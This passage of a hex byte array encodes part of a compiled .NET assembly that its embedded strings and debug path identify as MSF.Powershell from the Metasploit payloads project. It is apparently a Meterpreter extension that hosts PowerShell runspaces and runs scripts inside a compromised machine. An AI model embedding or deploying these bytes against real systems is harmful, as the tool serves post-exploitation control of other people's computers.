0x6f, 0x6c, 0x6f, 0x72, 0x00, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x43,
|
||||
0x65, 0x6c, 0x6c, 0x00, 0x52, 0x65, 0x63, 0x74, 0x61, 0x6e, 0x67, 0x6c,
|
||||
0x65, 0x00, 0x47, 0x65, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x43,
|
||||
0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5f,
|
||||
0x4b, 0x65, 0x79, 0x41, 0x76, 0x61, 0x69, 0x6c, 0x61, 0x62, 0x6c, 0x65,
|
||||
0x00, 0x67, 0x65, 0x74, 0x5f, 0x4d, 0x61, 0x78, 0x50, 0x68, 0x79, 0x73,
|
||||
0x69, 0x63, 0x61, 0x6c, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69,
|
||||
0x7a, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5f, 0x4d, 0x61, 0x78, 0x57, 0x69,
|
||||
0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69, 0x7a, 0x65, 0x00, 0x4b, 0x65, 0x79,
|
||||
0x49, 0x6e, 0x66, 0x6f, 0x00, 0x52, 0x65, 0x61, 0x64, 0x4b, 0x65, 0x79,
|
||||
0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x00, 0x52, 0x65, 0x61, 0x64,
|
||||
0x4b, 0x65, 0x79, 0x00, 0x53, 0x63, 0x72, 0x6f, 0x6c, 0x6c, 0x42, 0x75,
|
||||
0x66, 0x66, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73,
|
||||
0x00, 0x53, 0x65, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x43, 0x6f,
|
||||
0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5f, 0x57,
|
||||
0x69, 0x6e, 0x64, 0x6f, 0x77, 0x50, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x6f,
|
||||
0x6e, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77,
|
||||
0x50, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x67, 0x65, 0x74,
|
||||
0x5f, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69, 0x7a, 0x65, 0x00,
|
||||
0x73, 0x65, 0x74, 0x5f, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69,
|
||||
0x7a, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5f, 0x57, 0x69, 0x6e, 0x64, 0x6f,
|
||||
0x77, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x57,
|
||||
0x69, 0x6e, 0x64, 0x6f, 0x77, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x00, 0x42,
|
||||
0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x43, 0x6f, 0x6c,
|
||||
0x6f, 0x72, 0x00, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a,
|
||||
0x65, 0x00, 0x43, 0x75, 0x72, 0x73, 0x6f, 0x72, 0x50, 0x6f, 0x73, 0x69,
|
||||
0x74, 0x69, 0x6f, 0x6e, 0x00, 0x43, 0x75, 0x72, 0x73, 0x6f, 0x72, 0x53,
|
||||
0x69, 0x7a, 0x65, 0x00, 0x46, 0x6f, 0x72, 0x65, 0x67, 0x72, 0x6f, 0x75,
|
||||
0x6e, 0x64, 0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x00, 0x4b, 0x65, 0x79, 0x41,
|
||||
0x76, 0x61, 0x69, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x00, 0x4d, 0x61, 0x78,
|
||||
0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6c, 0x57, 0x69, 0x6e, 0x64,
|
||||
0x6f, 0x77, 0x53, 0x69, 0x7a, 0x65, 0x00, 0x4d, 0x61, 0x78, 0x57, 0x69,
|
||||
0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69, 0x7a, 0x65, 0x00, 0x57, 0x69, 0x6e,
|
||||
0x64, 0x6f, 0x77, 0x50, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x00,
|
||||
0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x53, 0x69, 0x7a, 0x65, 0x00, 0x57,
|
||||
0x69, 0x6e, 0x64, 0x6f, 0x77, 0x54, 0x69, 0x74, 0x6c, 0x65, 0x00, 0x69,
|
||||
0x64, 0x00, 0x70, 0x73, 0x00, 0x65, 0x78, 0x69, 0x74, 0x43, 0x6f, 0x64,
|
||||
0x65, 0x00, 0x63, 0x61, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x6d, 0x65,
|
||||
0x73, 0x73, 0x61, 0x67, 0x65, 0x00, 0x64, 0x65, 0x73, 0x63, 0x72, 0x69,
|
||||
0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x00, 0x63, 0x68, 0x6f, 0x69, 0x63,
|
||||
0x65, 0x73, 0x00, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x43, 0x68,
|
||||
0x6f, 0x69, 0x63, 0x65, 0x00, 0x75, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d,
|
||||
0x65, 0x00, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x43, 0x72, 0x65, 0x64,
|
||||
0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x00,
|
||||
0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x00, 0x66, 0x6f, 0x72, 0x65,
|
||||
0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x00,
|
||||
0x62, 0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x43, 0x6f,
|
||||
0x6c, 0x6f, 0x72, 0x00, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x00, 0x73, 0x6f,
|
||||
0x75, 0x72, 0x63, 0x65, 0x49, 0x64, 0x00, 0x72, 0x65, 0x63, 0x6f, 0x72,
|
||||
0x64, 0x00, 0x72, 0x65, 0x63, 0x74, 0x61, 0x6e, 0x67, 0x6c, 0x65, 0x00,
|
||||
0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x00, 0x64, 0x65, 0x73, 0x74, 0x69,
|
||||
0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x63, 0x6c, 0x69, 0x70, 0x00,
|
||||
0x66, 0x69, 0x6c, 0x6c, 0x00, 0x6f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x00,
|
||||
0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x00, 0x53, 0x79, 0x73,
|
||||
0x74, 0x65, 0x6d, 0x2e, 0x52, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x54,
|
||||
0x69, 0x74, 0x6c, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,
|
||||
0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x44, 0x65,
|
||||
0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x41, 0x74, 0x74,
|
||||
0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d,
|
||||
0x62, 0x6c, 0x79, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61,
|
||||
0x74, 0x69, 0x6f, 0x6e, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,
|
||||
0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x43, 0x6f,
|
||||
0x6d, 0x70, 0x61, 0x6e, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,
|
||||
0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x50,
|
||||
0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62,
|
||||
0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79,
|
||||
0x43, 0x6f, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x41, 0x74, 0x74,
|
||||
0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d,
|
||||
0x62, 0x6c, 0x79, 0x54, 0x72, 0x61, 0x64, 0x65, 0x6d, 0x61, 0x72, 0x6b,
|
||||
0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73,
|
||||
0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x43, 0x75, 0x6c, 0x74, 0x75, 0x72,
|
||||
0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x53,
|
||||
0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d,
|
||||
0x65, 0x2e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6f, 0x70, 0x53, 0x65, 0x72,
|
||||
0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x43, 0x6f, 0x6d, 0x56, 0x69, 0x73,
|
||||
0x69, 0x62, 0x6c, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,
|
||||
0x65, 0x00, 0x47, 0x75, 0x69, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62,
|
||||
0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79,
|
||||
0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x74, 0x74, 0x72, 0x69,
|
||||
0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c,
|
||||
0x79, 0x46, 0x69, 0x6c, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x53, 0x79,
|
||||
0x73, 0x74, 0x65, 0x6d, 0x2e, 0x44, 0x69, 0x61, 0x67, 0x6e, 0x6f, 0x73,
|
||||
0x74, 0x69, 0x63, 0x73, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x61,
|
||||
0x62, 0x6c, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65,
|
||||
0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x69, 0x6e, 0x67, 0x4d, 0x6f,
|
||||
0x64, 0x65, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x52,
|
||||
0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69,
|
||||
0x6c, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00,
|
||||
0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52,
|
||||
0x65, 0x6c, 0x61, 0x78, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x41, 0x74,
|
||||
0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x52, 0x75, 0x6e, 0x74,
|
||||
0x69, 0x6d, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x69,
|
||||
0x6c, 0x69, 0x74, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,
|
||||
0x65, 0x00, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x73, 0x4b, 0x65,
|
||||
0x79, 0x00, 0x41, 0x64, 0x64, 0x00, 0x67, 0x65, 0x74, 0x5f, 0x49, 0x74,
|
||||
0x65, 0x6d, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x66,
|
||||
0x61, 0x75, 0x6c, 0x74, 0x00, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69,
|
||||
0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x61, 0x6e, 0x61, 0x67, 0x65,
|
||||
0x72, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
|
||||
0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x61, 0x6e, 0x61, 0x67,
|
||||
0x65, 0x72, 0x00, 0x52, 0x75, 0x6e, 0x73, 0x70, 0x61, 0x63, 0x65, 0x46,
|
||||
0x61, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74,
|
||||
0x65, 0x52, 0x75, 0x6e, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00, 0x4f, 0x70,
|
||||
0x65, 0x6e, 0x00, 0x50, 0x69, 0x70, 0x65, 0x6c, 0x69, 0x6e, 0x65, 0x00,
|
||||
0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x69, 0x70, 0x65, 0x6c, 0x69,
|
||||
0x6e, 0x65, 0x00, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x43, 0x6f,
|
||||
0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x67, 0x65, 0x74,
|
||||
0x5f, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x00, 0x41, 0x64,
|
||||
0x64, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x00, 0x43, 0x6f, 0x6d, 0x6d,
|
||||
0x61, 0x6e, 0x64, 0x00, 0x50, 0x69, 0x70, 0x65, 0x6c, 0x69, 0x6e, 0x65,
|
||||
0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x54, 0x79, 0x70, 0x65, 0x73, 0x00,
|
||||
0x4d, 0x65, 0x72, 0x67, 0x65, 0x4d, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c,
|
||||
0x74, 0x73, 0x00, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x00, 0x43, 0x6c,
|
||||
0x6f, 0x73, 0x65, 0x00, 0x4e, 0x65, 0x77, 0x47, 0x75, 0x69, 0x64, 0x00,
|
||||
0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x54, 0x68, 0x72, 0x65, 0x61,
|
||||
0x64, 0x69, 0x6e, 0x67, 0x00, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00,
|
||||
0x67, 0x65, 0x74, 0x5f, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54,
|
||||
0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x67, 0x65, 0x74, 0x5f, 0x4c, 0x65,
|
||||
0x6e, 0x67, 0x74, 0x68, 0x00, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00,
|
||||
0x45, 0x6d, 0x70, 0x74, 0x79, 0x00, 0x41, 0x70, 0x70, 0x65, 0x6e, 0x64,
|
||||
0x00, 0x41, 0x70, 0x70, 0x65, 0x6e, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x00,
|
||||
0x00, 0x17, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x64, 0x00,
|
||||
0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6c, 0x00, 0x74, 0x00,
|
||||
0x01, 0x15, 0x4d, 0x00, 0x53, 0x00, 0x46, 0x00, 0x43, 0x00, 0x6f, 0x00,
|
||||
0x6e, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x00, 0x0f,
|
||||
0x44, 0x00, 0x45, 0x00, 0x42, 0x00, 0x55, 0x00, 0x47, 0x00, 0x3a, 0x00,
|
||||
0x20, 0x00, 0x00, 0x0f, 0x45, 0x00, 0x52, 0x00, 0x52, 0x00, 0x4f, 0x00,
|
||||
0x52, 0x00, 0x3a, 0x00, 0x20, 0x00, 0x00, 0x13, 0x56, 0x00, 0x45, 0x00,
|
||||
0x52, 0x00, 0x42, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x45, 0x00, 0x3a, 0x00,
|
||||
0x20, 0x00, 0x00, 0x13, 0x57, 0x00, 0x41, 0x00, 0x52, 0x00, 0x4e, 0x00,
|
||||
0x49, 0x00, 0x4e, 0x00, 0x47, 0x00, 0x3a, 0x00, 0x20, 0x00, 0x00, 0x00,
|
||||
0xc6, 0x01, 0xdb, 0x2f, 0x4f, 0x70, 0x6f, 0x4a, 0xb0, 0xc4, 0xbb, 0x60,
|
||||
0x60, 0xa1, 0xf6, 0x0d, 0x00, 0x08, 0xb7, 0x7a, 0x5c, 0x56, 0x19, 0x34,
|
||||
0xe0, 0x89, 0x08, 0x31, 0xbf, 0x38, 0x56, 0xad, 0x36, 0x4e, 0x35, 0x08,
|
||||
0x06, 0x15, 0x12, 0x19, 0x02, 0x0e, 0x12, 0x08, 0x03, 0x06, 0x12, 0x1d,
|
||||
0x03, 0x06, 0x12, 0x0c, 0x03, 0x06, 0x12, 0x21, 0x02, 0x06, 0x0e, 0x03,
|
||||
0x00, 0x00, 0x01, 0x05, 0x00, 0x02, 0x0e, 0x0e, 0x0e, 0x05, 0x00, 0x01,
|
||||
0x12, 0x08, 0x0e, 0x04, 0x00, 0x01, 0x01, 0x0e, 0x04, 0x20, 0x01, 0x01,
|
||||
0x0e, 0x04, 0x20, 0x01, 0x0e, 0x0e, 0x03, 0x20, 0x00, 0x01, 0x03, 0x06,
|
||||
0x11, 0x25, 0x03, 0x06, 0x12, 0x10, 0x03, 0x20, 0x00, 0x0e, 0x04, 0x20,
|
||||
0x00, 0x12, 0x29, 0x04, 0x20, 0x00, 0x11, 0x25, 0x04, 0x20, 0x01, 0x01,
|
||||
0x08, 0x04, 0x20, 0x00, 0x12, 0x11, 0x04, 0x20, 0x00, 0x12, 0x2d, 0x04,
|
||||
0x28, 0x00, 0x12, 0x29, 0x04, 0x28, 0x00, 0x11, 0x25, 0x03, 0x28, 0x00,
|
||||
0x0e, 0x04, 0x28, 0x00, 0x12, 0x11, 0x04, 0x28, 0x00, 0x12, 0x2d, 0x03,
|
||||
0x06, 0x12, 0x31, 0x03, 0x06, 0x12, 0x14, 0x11, 0x20, 0x03, 0x15, 0x12,
|
||||
0x19, 0x02, 0x0e, 0x12, 0x35, 0x0e, 0x0e, 0x15, 0x12, 0x39, 0x01, 0x12,
|
||||
0x3d, 0x0c, 0x20, 0x04, 0x08, 0x0e, 0x0e, 0x15, 0x12, 0x39, 0x01, 0x12,
|
||||
0x41, 0x08, 0x0c, 0x20, 0x06, 0x12, 0x45, 0x0e, 0x0e, 0x0e, 0x0e, 0x11,
|
||||
0x49, 0x11, 0x4d, 0x08, 0x20, 0x04, 0x12, 0x45, 0x0e, 0x0e, 0x0e, 0x0e,
|
||||
0x04, 0x20, 0x00, 0x12, 0x15, 0x04, 0x20, 0x00, 0x12, 0x51, 0x08, 0x20,
|
||||
0x03, 0x01, 0x11, 0x55, 0x11, 0x55, 0x0e, 0x06, 0x20, 0x02, 0x01, 0x0a,
|
||||
0x12, 0x59, 0x04, 0x28, 0x00, 0x12, 0x15, 0x04, 0x20, 0x00, 0x11, 0x55,
|
||||
0x05, 0x20, 0x01, 0x01, 0x11, 0x55, 0x04, 0x20, 0x00, 0x11, 0x5d, 0x05,
|
||||
0x20, 0x01, 0x01, 0x11, 0x5d, 0x04, 0x20, 0x00, 0x11, 0x61, 0x05, 0x20,
|
||||
0x01, 0x01, 0x11, 0x61, 0x03, 0x20, 0x00, 0x08, 0x0c, 0x20, 0x01, 0x14,
|
||||
0x11, 0x65, 0x02, 0x00, 0x02, 0x00, 0x00, 0x11, 0x69, 0x03, 0x20, 0x00,
|
||||
0x02, 0x06, 0x20, 0x01, 0x11, 0x6d, 0x11, 0x71, 0x0b, 0x20, 0x04, 0x01,
|
||||
0x11, 0x69, 0x11, 0x61, 0x11, 0x69, 0x11, 0x65, 0x07, 0x20, 0x02, 0x01,
|
||||
0x11, 0x69, 0x11, 0x65, 0x0d, 0x20, 0x02, 0x01, 0x11, 0x61, 0x14, 0x11,
|
||||
0x65, 0x02, 0x00, 0x02, 0x00, 0x00, 0x04, 0x28, 0x00, 0x11, 0x55, 0x04,
|
||||
0x28, 0x00, 0x11, 0x5d, 0x04, 0x28, 0x00, 0x11, 0x61, 0x03, 0x28, 0x00,
|
||||
0x08, 0x03, 0x28, 0x00, 0x02, 0x04, 0x20, 0x01, 0x01, 0x02, 0x06, 0x20,
|
||||
0x01, 0x01, 0x11, 0x80, 0xa9, 0x07, 0x15, 0x12, 0x19, 0x02, 0x0e, 0x12,
|
||||
0x08, 0x05, 0x20, 0x01, 0x02, 0x13, 0x00, 0x07, 0x20, 0x02, 0x01, 0x13,
|
||||
0x00, 0x13, 0x01, 0x06, 0x20, 0x01, 0x13, 0x01, 0x13, 0x00, 0x04, 0x07,
|
||||
0x01, 0x12, 0x08, 0x04, 0x00, 0x00, 0x12, 0x1d, 0x06, 0x20, 0x01, 0x01,
|
||||
0x12, 0x80, 0xb5, 0x08, 0x00, 0x02, 0x12, 0x21, 0x12, 0x0d, 0x12, 0x1d,
|
||||
0x05, 0x20, 0x00, 0x12, 0x80, 0xbd, 0x05, 0x20, 0x00, 0x12, 0x80, 0xc1,
|
||||
0x07, 0x15, 0x12, 0x39, 0x01, 0x12, 0x80, 0xc5, 0x05, 0x20, 0x01, 0x13,
|
||||
0x00, 0x08, 0x09, 0x20, 0x02, 0x01, 0x11, 0x80, 0xc9, 0x11, 0x80, 0xc9,
|
||||
0x08, 0x20, 0x00, 0x15, 0x12, 0x39, 0x01, 0x12, 0x35, 0x05, 0x07, 0x01,
|
||||
0x12, 0x80, 0xbd, 0x04, 0x00, 0x00, 0x11, 0x25, 0x03, 0x07, 0x01, 0x0e,
|
||||
0x05, 0x00, 0x00, 0x12, 0x80, 0xcd, 0x05, 0x20, 0x02, 0x01, 0x08, 0x08,
|
||||
0x06, 0x20, 0x02, 0x12, 0x31, 0x08, 0x08, 0x07, 0x15, 0x12, 0x19, 0x02,
|
||||
0x0e, 0x12, 0x35, 0x05, 0x20, 0x01, 0x12, 0x31, 0x0e, 0x04, 0x20, 0x00,
|
||||
0x12, 0x31, 0x08, 0x14, 0x11, 0x65, 0x02, 0x00, 0x02, 0x00, 0x00, 0x04,
|
||||
0x07, 0x01, 0x11, 0x6d, 0x13, 0x01, 0x00, 0x0e, 0x4d, 0x53, 0x46, 0x2e,
|
||||
0x50, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x00, 0x00,
|
||||
0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x17, 0x01, 0x00, 0x12, 0x43, 0x6f,
|
||||
0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x20, 0xc2, 0xa9, 0x20, 0x20,
|
||||
0x32, 0x30, 0x31, 0x36, 0x00, 0x00, 0x29, 0x01, 0x00, 0x24, 0x39, 0x30,
|
||||
0x62, 0x35, 0x63, 0x33, 0x30, 0x62, 0x2d, 0x39, 0x36, 0x64, 0x61, 0x2d,
|
||||
0x34, 0x62, 0x39, 0x34, 0x2d, 0x39, 0x34, 0x31, 0x61, 0x2d, 0x33, 0x66,
|
||||
0x62, 0x38, 0x32, 0x36, 0x63, 0x35, 0x30, 0x35, 0x30, 0x39, 0x00, 0x00,
|
||||
0x0c, 0x01, 0x00, 0x07, 0x31, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x30, 0x00,
|
||||
0x00, 0x08, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01,
|
||||
0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0x01, 0x00, 0x01, 0x00,
|
||||
0x54, 0x02, 0x16, 0x57, 0x72, 0x61, 0x70, 0x4e, 0x6f, 0x6e, 0x45, 0x78,
|
||||
0x63, 0x65, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x72, 0x6f, 0x77,
|
||||
0x73, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0xb7, 0xf0, 0x56,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x1c, 0x01, 0x00, 0x00,
|
||||
0x64, 0x3d, 0x00, 0x00, 0x64, 0x1f, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53,
|
||||
0xe1, 0xf1, 0xec, 0x0f, 0xfa, 0xe3, 0x30, 0x44, 0xb2, 0x8f, 0x28, 0x25,
|
||||
0x9b, 0xe7, 0x2e, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x7a, 0x3a, 0x5c, 0x63,
|
||||
0x6f, 0x64, 0x65, 0x5c, 0x6d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f,
|
||||
0x69, 0x74, 0x2d, 0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x5c,
|
||||
0x70, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5c, 0x4d,
|
||||
0x53, 0x46, 0x2e, 0x50, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x68, 0x65, 0x6c,
|
||||
0x6c, 0x5c, 0x6f, 0x62, 0x6a, 0x5c, 0x52, 0x65, 0x6c, 0x65, 0x61, 0x73,
|
||||
0x65, 0x5c, 0x4d, 0x53, 0x46, 0x2e, 0x50, 0x6f, 0x77, 0x65, 0x72, 0x73,
|
||||
0x68, 0x65, 0x6c, 0x6c, 0x2e, 0x70, 0x64, 0x62, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xa8, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xbe, 0x3e, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x3e, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5f, 0x43, 0x6f, 0x72, 0x44, 0x6c,
|
||||
